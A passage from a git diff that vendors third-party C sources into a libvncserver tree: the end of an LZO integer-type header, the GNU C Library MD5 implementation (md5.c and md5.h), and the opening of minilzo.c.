(LZO_CC_MSC && (_MSC_VER >= 1300) && (LZO_SIZEOF_VOID_P == 4) && (LZO_SIZEOF_INT == 4)) + typedef __w64 int lzo_intptr_t; + typedef __w64 unsigned int lzo_uintptr_t; +# define lzo_intptr_t lzo_intptr_t +# define lzo_uintptr_t lzo_uintptr_t +# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_INT +#elif (LZO_SIZEOF_SHORT == LZO_SIZEOF_VOID_P) && (LZO_SIZEOF_INT > LZO_SIZEOF_VOID_P) +# define lzo_intptr_t short +# define lzo_uintptr_t unsigned short +# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_SHORT +#elif (LZO_SIZEOF_INT >= LZO_SIZEOF_VOID_P) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG) +# define lzo_intptr_t int +# define lzo_uintptr_t unsigned int +# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_INT +#elif (LZO_SIZEOF_LONG >= LZO_SIZEOF_VOID_P) +# define lzo_intptr_t long +# define lzo_uintptr_t unsigned long +# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_LONG +#elif (LZO_SIZEOF_LZO_INT64L_T >= LZO_SIZEOF_VOID_P) +# define lzo_intptr_t lzo_int64l_t +# define lzo_uintptr_t lzo_uint64l_t +# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_LZO_INT64L_T +#else +# error "lzo_intptr_t" +#endif +#endif +#if 1 + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_intptr_t) >= sizeof(void *)) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_intptr_t) == sizeof(lzo_uintptr_t)) +#endif +#if !defined(lzo_word_t) +#if defined(LZO_WORDSIZE) && (LZO_WORDSIZE+0 > 0) +#if (LZO_WORDSIZE == LZO_SIZEOF_LZO_INTPTR_T) && !(__LZO_INTPTR_T_IS_POINTER) +# define lzo_word_t lzo_uintptr_t +# define lzo_sword_t lzo_intptr_t +# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LZO_INTPTR_T +#elif (LZO_WORDSIZE == LZO_SIZEOF_LONG) +# define lzo_word_t unsigned long +# define lzo_sword_t long +# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LONG +#elif (LZO_WORDSIZE == LZO_SIZEOF_INT) +# define lzo_word_t unsigned int +# define lzo_sword_t int +# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_INT +#elif (LZO_WORDSIZE == LZO_SIZEOF_SHORT) +# define lzo_word_t unsigned short +# define lzo_sword_t short +# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_SHORT +#elif (LZO_WORDSIZE == 1) +# define lzo_word_t unsigned char +# define lzo_sword_t signed char +# define LZO_SIZEOF_LZO_WORD_T 1 +#elif (LZO_WORDSIZE == LZO_SIZEOF_LZO_INT64L_T) +# define lzo_word_t lzo_uint64l_t +# define lzo_sword_t lzo_int64l_t +# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LZO_INT64L_T +#elif (LZO_ARCH_SPU) && (LZO_CC_GNUC) +#if 0 + typedef unsigned lzo_word_t __attribute__((__mode__(__V16QI__))); + typedef int lzo_sword_t __attribute__((__mode__(__V16QI__))); +# define lzo_word_t lzo_word_t +# define lzo_sword_t lzo_sword_t +# define LZO_SIZEOF_LZO_WORD_T 16 +#endif +#else +# error "lzo_word_t" +#endif +#endif +#endif +#if 1 && defined(lzo_word_t) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_word_t) == LZO_WORDSIZE) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_sword_t) == LZO_WORDSIZE) +#endif +#if 1 +#define lzo_int8_t signed char +#define lzo_uint8_t unsigned char +#define LZO_SIZEOF_LZO_INT8_T 1 +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == 1) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == sizeof(lzo_uint8_t)) +#endif +#if defined(lzo_int16e_t) +#define lzo_int16_t lzo_int16e_t +#define lzo_uint16_t lzo_uint16e_t +#define LZO_SIZEOF_LZO_INT16_T LZO_SIZEOF_LZO_INT16E_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == 2) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == sizeof(lzo_uint16_t)) +#endif +#if defined(lzo_int32e_t) +#define lzo_int32_t lzo_int32e_t +#define lzo_uint32_t lzo_uint32e_t +#define LZO_SIZEOF_LZO_INT32_T LZO_SIZEOF_LZO_INT32E_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == 4) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == sizeof(lzo_uint32_t)) +#endif +#if defined(lzo_int64e_t) +#define lzo_int64_t lzo_int64e_t +#define lzo_uint64_t lzo_uint64e_t +#define LZO_SIZEOF_LZO_INT64_T LZO_SIZEOF_LZO_INT64E_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == 8) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == sizeof(lzo_uint64_t)) +#endif +#if 1 +#define lzo_int_least32_t lzo_int32l_t +#define lzo_uint_least32_t lzo_uint32l_t +#define LZO_SIZEOF_LZO_INT_LEAST32_T LZO_SIZEOF_LZO_INT32L_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least32_t) >= 4) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least32_t) == sizeof(lzo_uint_least32_t)) +#endif +#if defined(lzo_int64l_t) +#define lzo_int_least64_t lzo_int64l_t +#define lzo_uint_least64_t lzo_uint64l_t +#define LZO_SIZEOF_LZO_INT_LEAST64_T LZO_SIZEOF_LZO_INT64L_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least64_t) >= 8) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least64_t) == sizeof(lzo_uint_least64_t)) +#endif +#if 1 +#define lzo_int_fast32_t lzo_int32f_t +#define lzo_uint_fast32_t lzo_uint32f_t +#define LZO_SIZEOF_LZO_INT_FAST32_T LZO_SIZEOF_LZO_INT32F_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast32_t) >= 4) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast32_t) == sizeof(lzo_uint_fast32_t)) +#endif +#if defined(lzo_int64f_t) +#define lzo_int_fast64_t lzo_int64f_t +#define lzo_uint_fast64_t lzo_uint64f_t +#define LZO_SIZEOF_LZO_INT_FAST64_T LZO_SIZEOF_LZO_INT64F_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast64_t) >= 8) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast64_t) == sizeof(lzo_uint_fast64_t)) +#endif +#if !defined(LZO_INT16_C) +# if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 2) +# define LZO_INT16_C(c) ((c) + 0) +# define LZO_UINT16_C(c) ((c) + 0U) +# elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 2) +# define LZO_INT16_C(c) ((c) + 0L) +# define LZO_UINT16_C(c) ((c) + 0UL) +# elif (LZO_SIZEOF_INT >= 2) +# define LZO_INT16_C(c) (c) +# define LZO_UINT16_C(c) (c##U) +# elif (LZO_SIZEOF_LONG >= 2) +# define LZO_INT16_C(c) (c##L) +# define LZO_UINT16_C(c) (c##UL) +# else +# error "LZO_INT16_C" +# endif +#endif +#if !defined(LZO_INT32_C) +# if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 4) +# define LZO_INT32_C(c) ((c) + 0) +# define LZO_UINT32_C(c) ((c) + 0U) +# elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 4) +# define LZO_INT32_C(c) ((c) + 0L) +# define LZO_UINT32_C(c) ((c) + 0UL) +# elif (LZO_SIZEOF_INT >= 4) +# define LZO_INT32_C(c) (c) +# define LZO_UINT32_C(c) (c##U) +# elif (LZO_SIZEOF_LONG >= 4) +# define LZO_INT32_C(c) (c##L) +# define LZO_UINT32_C(c) (c##UL) +# elif (LZO_SIZEOF_LONG_LONG >= 4) +# define LZO_INT32_C(c) (c##LL) +# define LZO_UINT32_C(c) (c##ULL) +# else +# error "LZO_INT32_C" +# endif +#endif +#if !defined(LZO_INT64_C) && defined(lzo_int64l_t) +# if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 8) +# define LZO_INT64_C(c) ((c) + 0) +# define LZO_UINT64_C(c) ((c) + 0U) +# elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 8) +# define LZO_INT64_C(c) ((c) + 0L) +# define LZO_UINT64_C(c) ((c) + 0UL) +# elif (LZO_SIZEOF_INT >= 8) +# define LZO_INT64_C(c) (c) +# define LZO_UINT64_C(c) (c##U) +# elif (LZO_SIZEOF_LONG >= 8) +# define LZO_INT64_C(c) (c##L) +# define LZO_UINT64_C(c) (c##UL) +# else +# error "LZO_INT64_C" +# endif +#endif +#endif + +#endif /* already included */ + +/* vim:set ts=4 sw=4 et: */ diff --git a/3rdparty/libvncserver/common/md5.c b/3rdparty/libvncserver/common/md5.c new file mode 100644 index 0000000..13e47a8 --- /dev/null +++ b/3rdparty/libvncserver/common/md5.c @@ -0,0 +1,451 @@ +/* Functions to compute MD5 message digest of files or memory blocks. + according to the definition of MD5 in RFC 1321 from April 1992. + Copyright (C) 1995,1996,1997,1999,2000,2001,2005 + Free Software Foundation, Inc. + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, write to the Free + Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA + 02111-1307 USA. */ + +/* Written by Ulrich Drepper , 1995. */ + +#include + +# include +# include + +#include "md5.h" +#include "rfb/rfbconfig.h" + +#ifdef LIBVNCSERVER_WORDS_BIGENDIAN +# define WORDS_BIGENDIAN 1 +#endif +/* We need to keep the namespace clean so define the MD5 function + protected using leading __ . */ +# define md5_init_ctx __md5_init_ctx +# define md5_process_block __md5_process_block +# define md5_process_bytes __md5_process_bytes +# define md5_finish_ctx __md5_finish_ctx +# define md5_read_ctx __md5_read_ctx +# define md5_stream __md5_stream +# define md5_buffer __md5_buffer +/* #endif */ + +#ifdef WORDS_BIGENDIAN +# define SWAP(n) \ + ((((n) & 0x00ff) << 24) | (((n) & 0xff00) << 8) | (((n) >> 8) & 0xff00) | (((n) >> 24) & 0x00ff)) +#else +# define SWAP(n) (n) +#endif + +void +md5_process_bytes (const void *buffer, size_t len, struct md5_ctx *ctx); +void +md5_process_block (const void *buffer, size_t len, struct md5_ctx *ctx); + +/* This array contains the bytes used to pad the buffer to the next + 64-byte boundary. (RFC 1321, 3.1: Step 1) */ +static const unsigned char fillbuf[64] = { 0x80, 0 /* , 0, 0, ... */ }; + + +/* Initialize structure containing state of computation. + (RFC 1321, 3.3: Step 3) */ +void +md5_init_ctx (ctx) + struct md5_ctx *ctx; +{ + ctx->A = 0x67452301; + ctx->B = 0xefcdab89; + ctx->C = 0x98badcfe; + ctx->D = 0x10325476; + + ctx->total[0] = ctx->total[1] = 0; + ctx->buflen = 0; +} + +/* Put result from CTX in first 16 bytes following RESBUF. The result + must be in little endian byte order. + + IMPORTANT: On some systems it is required that RESBUF is correctly + aligned for a 32 bits value. */ +void * +md5_read_ctx (ctx, resbuf) + const struct md5_ctx *ctx; + void *resbuf; +{ + ((md5_uint32 *) resbuf)[0] = SWAP (ctx->A); + ((md5_uint32 *) resbuf)[1] = SWAP (ctx->B); + ((md5_uint32 *) resbuf)[2] = SWAP (ctx->C); + ((md5_uint32 *) resbuf)[3] = SWAP (ctx->D); + + return resbuf; +} + +/* Process the remaining bytes in the internal buffer and the usual + prolog according to the standard and write the result to RESBUF. + + IMPORTANT: On some systems it is required that RESBUF is correctly + aligned for a 32 bits value. */ +void * +md5_finish_ctx (ctx, resbuf) + struct md5_ctx *ctx; + void *resbuf; +{ + /* Take yet unprocessed bytes into account. */ + md5_uint32 bytes = ctx->buflen; + size_t pad; + + /* Now count remaining bytes. */ + ctx->total[0] += bytes; + if (ctx->total[0] < bytes) + ++ctx->total[1]; + + pad = bytes >= 56 ? 64 + 56 - bytes : 56 - bytes; + memcpy (&ctx->buffer[bytes], fillbuf, pad); + + /* Put the 64-bit file length in *bits* at the end of the buffer. */ + *(md5_uint32 *) &ctx->buffer[bytes + pad] = SWAP (ctx->total[0] << 3); + *(md5_uint32 *) &ctx->buffer[bytes + pad + 4] = SWAP ((ctx->total[1] << 3) | + (ctx->total[0] >> 29)); + + /* Process last bytes. */ + md5_process_block (ctx->buffer, bytes + pad + 8, ctx); + + return md5_read_ctx (ctx, resbuf); +} + +/* Compute MD5 message digest for bytes read from STREAM. The + resulting message digest number will be written into the 16 bytes + beginning at RESBLOCK. */ +int +md5_stream (stream, resblock) + FILE *stream; + void *resblock; +{ + /* Important: BLOCKSIZE must be a multiple of 64. */ +#define BLOCKSIZE 4096 + struct md5_ctx ctx; + char buffer[BLOCKSIZE + 72]; + size_t sum; + + /* Initialize the computation context. */ + md5_init_ctx (&ctx); + + /* Iterate over full file contents. */ + while (1) + { + /* We read the file in blocks of BLOCKSIZE bytes. One call of the + computation function processes the whole buffer so that with the + next round of the loop another block can be read. */ + size_t n; + sum = 0; + + /* Read block. Take care for partial reads. */ + do + { + n = fread (buffer + sum, 1, BLOCKSIZE - sum, stream); + + sum += n; + } + while (sum < BLOCKSIZE && n != 0); + if (n == 0 && ferror (stream)) + return 1; + + /* If end of file is reached, end the loop. */ + if (n == 0) + break; + + /* Process buffer with BLOCKSIZE bytes. Note that + BLOCKSIZE % 64 == 0 + */ + md5_process_block (buffer, BLOCKSIZE, &ctx); + } + + /* Add the last bytes if necessary. */ + if (sum > 0) + md5_process_bytes (buffer, sum, &ctx); + + /* Construct result in desired memory. */ + md5_finish_ctx (&ctx, resblock); + return 0; +} + +/* Compute MD5 message digest for LEN bytes beginning at BUFFER. The + result is always in little endian byte order, so that a byte-wise + output yields to the wanted ASCII representation of the message + digest. */ +void * +md5_buffer (buffer, len, resblock) + const char *buffer; + size_t len; + void *resblock; +{ + struct md5_ctx ctx; + + /* Initialize the computation context. */ + md5_init_ctx (&ctx); + + /* Process whole buffer but last len % 64 bytes. */ + md5_process_bytes (buffer, len, &ctx); + + /* Put result in desired memory area. */ + return md5_finish_ctx (&ctx, resblock); +} + + +void +md5_process_bytes (buffer, len, ctx) + const void *buffer; + size_t len; + struct md5_ctx *ctx; +{ + /* When we already have some bits in our internal buffer concatenate + both inputs first. */ + if (ctx->buflen != 0) + { + size_t left_over = ctx->buflen; + size_t add = 128 - left_over > len ? len : 128 - left_over; + + memcpy (&ctx->buffer[left_over], buffer, add); + ctx->buflen += add; + + if (ctx->buflen > 64) + { + md5_process_block (ctx->buffer, ctx->buflen & ~63, ctx); + + ctx->buflen &= 63; + /* The regions in the following copy operation cannot overlap. */ + memcpy (ctx->buffer, &ctx->buffer[(left_over + add) & ~63], + ctx->buflen); + } + + buffer = (const char *) buffer + add; + len -= add; + } + + /* Process available complete blocks. */ + if (len >= 64) + { +#if !_STRING_ARCH_unaligned +/* To check alignment gcc has an appropriate operator. Other + compilers don't. */ +# if __GNUC__ >= 2 +# define UNALIGNED_P(p) (((md5_uintptr) p) % __alignof__ (md5_uint32) != 0) +# else +# define UNALIGNED_P(p) (((md5_uintptr) p) % sizeof (md5_uint32) != 0) +# endif + if (UNALIGNED_P (buffer)) + while (len > 64) + { + md5_process_block (memcpy (ctx->buffer, buffer, 64), 64, ctx); + buffer = (const char *) buffer + 64; + len -= 64; + } + else +#endif + { + md5_process_block (buffer, len & ~63, ctx); + buffer = (const char *) buffer + (len & ~63); + len &= 63; + } + } + + /* Move remaining bytes in internal buffer. */ + if (len > 0) + { + size_t left_over = ctx->buflen; + + memcpy (&ctx->buffer[left_over], buffer, len); + left_over += len; + if (left_over >= 64) + { + md5_process_block (ctx->buffer, 64, ctx); + left_over -= 64; + memcpy (ctx->buffer, &ctx->buffer[64], left_over); + } + ctx->buflen = left_over; + } +} + + +/* These are the four functions used in the four steps of the MD5 algorithm + and defined in the RFC 1321. The first function is a little bit optimized + (as found in Colin Plumbs public domain implementation). */ +/* #define FF(b, c, d) ((b & c) | (~b & d)) */ +#define FF(b, c, d) (d ^ (b & (c ^ d))) +#define FG(b, c, d) FF (d, b, c) +#define FH(b, c, d) (b ^ c ^ d) +#define FI(b, c, d) (c ^ (b | ~d)) + +/* Process LEN bytes of BUFFER, accumulating context into CTX. + It is assumed that LEN % 64 == 0. */ + +void +md5_process_block (buffer, len, ctx) + const void *buffer; + size_t len; + struct md5_ctx *ctx; +{ + md5_uint32 correct_words[16]; + const md5_uint32 *words = buffer; + size_t nwords = len / sizeof (md5_uint32); + const md5_uint32 *endp = words + nwords; + md5_uint32 A = ctx->A; + md5_uint32 B = ctx->B; + md5_uint32 C = ctx->C; + md5_uint32 D = ctx->D; + + /* First increment the byte count. RFC 1321 specifies the possible + length of the file up to 2^64 bits. Here we only compute the + number of bytes. Do a double word increment. */ + ctx->total[0] += len; + if (ctx->total[0] < len) + ++ctx->total[1]; + + /* Process all bytes in the buffer with 64 bytes in each round of + the loop. */ + while (words < endp) + { + md5_uint32 *cwp = correct_words; + md5_uint32 A_save = A; + md5_uint32 B_save = B; + md5_uint32 C_save = C; + md5_uint32 D_save = D; + + /* First round: using the given function, the context and a constant + the next context is computed. Because the algorithms processing + unit is a 32-bit word and it is determined to work on words in + little endian byte order we perhaps have to change the byte order + before the computation. To reduce the work for the next steps + we store the swapped words in the array CORRECT_WORDS. */ + +#define OP(a, b, c, d, s, T) \ + do \ + { \ + a += FF (b, c, d) + (*cwp++ = SWAP (*words)) + T; \ + ++words; \ + CYCLIC (a, s); \ + a += b; \ + } \ + while (0) + + /* It is unfortunate that C does not provide an operator for + cyclic rotation. Hope the C compiler is smart enough. */ +#define CYCLIC(w, s) (w = (w << s) | (w >> (32 - s))) + + /* Before we start, one word to the strange constants. + They are defined in RFC 1321 as + + T[i] = (int) (4294967296.0 * fabs (sin (i))), i=1..64 + */ + + /* Round 1. */ + OP (A, B, C, D, 7, 0xd76aa478); + OP (D, A, B, C, 12, 0xe8c7b756); + OP (C, D, A, B, 17, 0x242070db); + OP (B, C, D, A, 22, 0xc1bdceee); + OP (A, B, C, D, 7, 0xf57c0faf); + OP (D, A, B, C, 12, 0x4787c62a); + OP (C, D, A, B, 17, 0xa8304613); + OP (B, C, D, A, 22, 0xfd469501); + OP (A, B, C, D, 7, 0x698098d8); + OP (D, A, B, C, 12, 0x8b44f7af); + OP (C, D, A, B, 17, 0xffff5bb1); + OP (B, C, D, A, 22, 0x895cd7be); + OP (A, B, C, D, 7, 0x6b901122); + OP (D, A, B, C, 12, 0xfd987193); + OP (C, D, A, B, 17, 0xa679438e); + OP (B, C, D, A, 22, 0x49b40821); + + /* For the second to fourth round we have the possibly swapped words + in CORRECT_WORDS. Redefine the macro to take an additional first + argument specifying the function to use. */ +#undef OP +#define OP(f, a, b, c, d, k, s, T) \ + do \ + { \ + a += f (b, c, d) + correct_words[k] + T; \ + CYCLIC (a, s); \ + a += b; \ + } \ + while (0) + + /* Round 2. */ + OP (FG, A, B, C, D, 1, 5, 0xf61e2562); + OP (FG, D, A, B, C, 6, 9, 0xc040b340); + OP (FG, C, D, A, B, 11, 14, 0x265e5a51); + OP (FG, B, C, D, A, 0, 20, 0xe9b6c7aa); + OP (FG, A, B, C, D, 5, 5, 0xd62f105d); + OP (FG, D, A, B, C, 10, 9, 0x02441453); + OP (FG, C, D, A, B, 15, 14, 0xd8a1e681); + OP (FG, B, C, D, A, 4, 20, 0xe7d3fbc8); + OP (FG, A, B, C, D, 9, 5, 0x21e1cde6); + OP (FG, D, A, B, C, 14, 9, 0xc33707d6); + OP (FG, C, D, A, B, 3, 14, 0xf4d50d87); + OP (FG, B, C, D, A, 8, 20, 0x455a14ed); + OP (FG, A, B, C, D, 13, 5, 0xa9e3e905); + OP (FG, D, A, B, C, 2, 9, 0xfcefa3f8); + OP (FG, C, D, A, B, 7, 14, 0x676f02d9); + OP (FG, B, C, D, A, 12, 20, 0x8d2a4c8a); + + /* Round 3. */ + OP (FH, A, B, C, D, 5, 4, 0xfffa3942); + OP (FH, D, A, B, C, 8, 11, 0x8771f681); + OP (FH, C, D, A, B, 11, 16, 0x6d9d6122); + OP (FH, B, C, D, A, 14, 23, 0xfde5380c); + OP (FH, A, B, C, D, 1, 4, 0xa4beea44); + OP (FH, D, A, B, C, 4, 11, 0x4bdecfa9); + OP (FH, C, D, A, B, 7, 16, 0xf6bb4b60); + OP (FH, B, C, D, A, 10, 23, 0xbebfbc70); + OP (FH, A, B, C, D, 13, 4, 0x289b7ec6); + OP (FH, D, A, B, C, 0, 11, 0xeaa127fa); + OP (FH, C, D, A, B, 3, 16, 0xd4ef3085); + OP (FH, B, C, D, A, 6, 23, 0x04881d05); + OP (FH, A, B, C, D, 9, 4, 0xd9d4d039); + OP (FH, D, A, B, C, 12, 11, 0xe6db99e5); + OP (FH, C, D, A, B, 15, 16, 0x1fa27cf8); + OP (FH, B, C, D, A, 2, 23, 0xc4ac5665); + + /* Round 4. */ + OP (FI, A, B, C, D, 0, 6, 0xf4292244); + OP (FI, D, A, B, C, 7, 10, 0x432aff97); + OP (FI, C, D, A, B, 14, 15, 0xab9423a7); + OP (FI, B, C, D, A, 5, 21, 0xfc93a039); + OP (FI, A, B, C, D, 12, 6, 0x655b59c3); + OP (FI, D, A, B, C, 3, 10, 0x8f0ccc92); + OP (FI, C, D, A, B, 10, 15, 0xffeff47d); + OP (FI, B, C, D, A, 1, 21, 0x85845dd1); + OP (FI, A, B, C, D, 8, 6, 0x6fa87e4f); + OP (FI, D, A, B, C, 15, 10, 0xfe2ce6e0); + OP (FI, C, D, A, B, 6, 15, 0xa3014314); + OP (FI, B, C, D, A, 13, 21, 0x4e0811a1); + OP (FI, A, B, C, D, 4, 6, 0xf7537e82); + OP (FI, D, A, B, C, 11, 10, 0xbd3af235); + OP (FI, C, D, A, B, 2, 15, 0x2ad7d2bb); + OP (FI, B, C, D, A, 9, 21, 0xeb86d391); + + /* Add the starting values of the context. */ + A += A_save; + B += B_save; + C += C_save; + D += D_save; + } + + /* Put checksum in context given as argument. */ + ctx->A = A; + ctx->B = B; + ctx->C = C; + ctx->D = D; +} diff --git a/3rdparty/libvncserver/common/md5.h b/3rdparty/libvncserver/common/md5.h new file mode 100644 index 0000000..b0daab1 --- /dev/null +++ b/3rdparty/libvncserver/common/md5.h @@ -0,0 +1,152 @@ +/* Declaration of functions and data types used for MD5 sum computing + library functions. + Copyright (C) 1995-1997,1999,2000,2001,2004,2005 + Free Software Foundation, Inc. + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, write to the Free + Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA + 02111-1307 USA. */ + +#ifndef _MD5_H +#define _MD5_H 1 + +#include + +#if defined HAVE_LIMITS_H || _LIBC +# include +#endif + +#define MD5_DIGEST_SIZE 16 +#define MD5_BLOCK_SIZE 64 + +/* The following contortions are an attempt to use the C preprocessor + to determine an unsigned integral type that is 32 bits wide. An + alternative approach is to use autoconf's AC_CHECK_SIZEOF macro, but + doing that would require that the configure script compile and *run* + the resulting executable. Locally running cross-compiled executables + is usually not possible. */ + +#ifdef _LIBC +# include +typedef uint32_t md5_uint32; +typedef uintptr_t md5_uintptr; +#else +# if defined __STDC__ && __STDC__ +# define UINT_MAX_32_BITS 4294967295U +# else +# define UINT_MAX_32_BITS 0xFFFFFFFF +# endif + +/* If UINT_MAX isn't defined, assume it's a 32-bit type. + This should be valid for all systems GNU cares about because + that doesn't include 16-bit systems, and only modern systems + (that certainly have ) have 64+-bit integral types. */ + +# ifndef UINT_MAX +# define UINT_MAX UINT_MAX_32_BITS +# endif + +# if UINT_MAX == UINT_MAX_32_BITS + typedef unsigned int md5_uint32; +# else +# if USHRT_MAX == UINT_MAX_32_BITS + typedef unsigned short md5_uint32; +# else +# if ULONG_MAX == UINT_MAX_32_BITS + typedef unsigned long md5_uint32; +# else + /* The following line is intended to evoke an error. + Using #error is not portable enough. */ + "Cannot determine unsigned 32-bit data type." +# endif +# endif +# endif +/* We have to make a guess about the integer type equivalent in size + to pointers which should always be correct. */ +typedef unsigned long int md5_uintptr; +#endif + +/* Structure to save state of computation between the single steps. */ +struct md5_ctx +{ + md5_uint32 A; + md5_uint32 B; + md5_uint32 C; + md5_uint32 D; + + md5_uint32 total[2]; + md5_uint32 buflen; + char buffer[128] +#if __GNUC__ + __attribute__ ((__aligned__ (__alignof__ (md5_uint32)))) +#endif + ; +}; + +/* + * The following three functions are build up the low level used in + * the functions `md5_stream' and `md5_buffer'. + */ + +/* Initialize structure containing state of computation. + (RFC 1321, 3.3: Step 3) */ +extern void __md5_init_ctx (struct md5_ctx *ctx); + +/* Starting with the result of former calls of this function (or the + initialization function update the context for the next LEN bytes + starting at BUFFER. + It is necessary that LEN is a multiple of 64!!! */ +extern void __md5_process_block (const void *buffer, size_t len, + struct md5_ctx *ctx); + +/* Starting with the result of former calls of this function (or the + initialization function update the context for the next LEN bytes + starting at BUFFER. + It is NOT required that LEN is a multiple of 64. */ +extern void __md5_process_bytes (const void *buffer, size_t len, + struct md5_ctx *ctx); + +/* Process the remaining bytes in the buffer and put result from CTX + in first 16 bytes following RESBUF. The result is always in little + endian byte order, so that a byte-wise output yields to the wanted + ASCII representation of the message digest. + + IMPORTANT: On some systems it is required that RESBUF is correctly + aligned for a 32 bits value. */ +extern void *__md5_finish_ctx (struct md5_ctx *ctx, void *resbuf); + + +/* Put result from CTX in first 16 bytes following RESBUF. The result is + always in little endian byte order, so that a byte-wise output yields + to the wanted ASCII representation of the message digest. + + IMPORTANT: On some systems it is required that RESBUF is correctly + aligned for a 32 bits value. */ +extern void *__md5_read_ctx (const struct md5_ctx *ctx, void *resbuf); + + +/* Compute MD5 message digest for bytes read from STREAM. The + resulting message digest number will be written into the 16 bytes + beginning at RESBLOCK. */ +extern int __md5_stream (FILE *stream, void *resblock); + +/* Compute MD5 message digest for LEN bytes beginning at BUFFER. The + result is always in little endian byte order, so that a byte-wise + output yields to the wanted ASCII representation of the message + digest. */ +extern void *__md5_buffer (const char *buffer, size_t len, + void *resblock); + +#endif /* md5.h */ diff --git a/3rdparty/libvncserver/common/minilzo.c b/3rdparty/libvncserver/common/minilzo.c new file mode 100644 index 0000000..2651317 --- /dev/null +++ b/3rdparty/libvncserver/common/minilzo.c @@ -0,0 +1,6037 @@ +/* minilzo.c -- mini subset of the LZO real-time data compression library + + This file is part of the LZO real-time data compression library. + + Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer + All Rights Reserved. + + The LZO library is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License as + published by the Free Software Foundation; either version 2 of + the License, or (at your option) any later version. + + The LZO library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with the LZO library; see the file COPYING. + If not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + + Markus F.X.J. Oberhumer + + http://www.oberhumer.com/opensource/lzo/ + */ + +/* + * NOTE: + * the full LZO package can be found at + * http://www.oberhumer.com/opensource/lzo/ + */ + +#define __LZO_IN_MINILZO 1 + +#if defined(LZO_CFG_FREESTANDING) +# undef MINILZO_HAVE_CONFIG_H +# define LZO_LIBC_FREESTANDING 1 +# define LZO_OS_FREESTANDING 1 +#endif + +#ifdef MINILZO_HAVE_CONFIG_H +# include +#endif +#include +#include +#if defined(MINILZO_CFG_USE_INTERNAL_LZODEFS) + +#ifndef __LZODEFS_H_INCLUDED +#define __LZODEFS_H_INCLUDED 1 + +#if defined(__CYGWIN32__) && !defined(__CYGWIN__) +# define __CYGWIN__ __CYGWIN32__ +#endif +#if 1 && defined(__INTERIX) && defined(__GNUC__) && !defined(_ALL_SOURCE) +# define _ALL_SOURCE 1 +#endif +#if defined(__mips__) && defined(__R5900__) +# if !defined(__LONG_MAX__) +# define __LONG_MAX__ 9223372036854775807L +# endif +#endif +#if !defined(LZO_CFG_NO_DISABLE_WUNDEF) +#if defined(__ARMCC_VERSION) +# pragma diag_suppress 193 +#elif defined(__clang__) && defined(__clang_minor__) +# pragma clang diagnostic ignored "-Wundef" +#elif defined(__INTEL_COMPILER) +# pragma warning(disable: 193) +#elif defined(__KEIL__) && 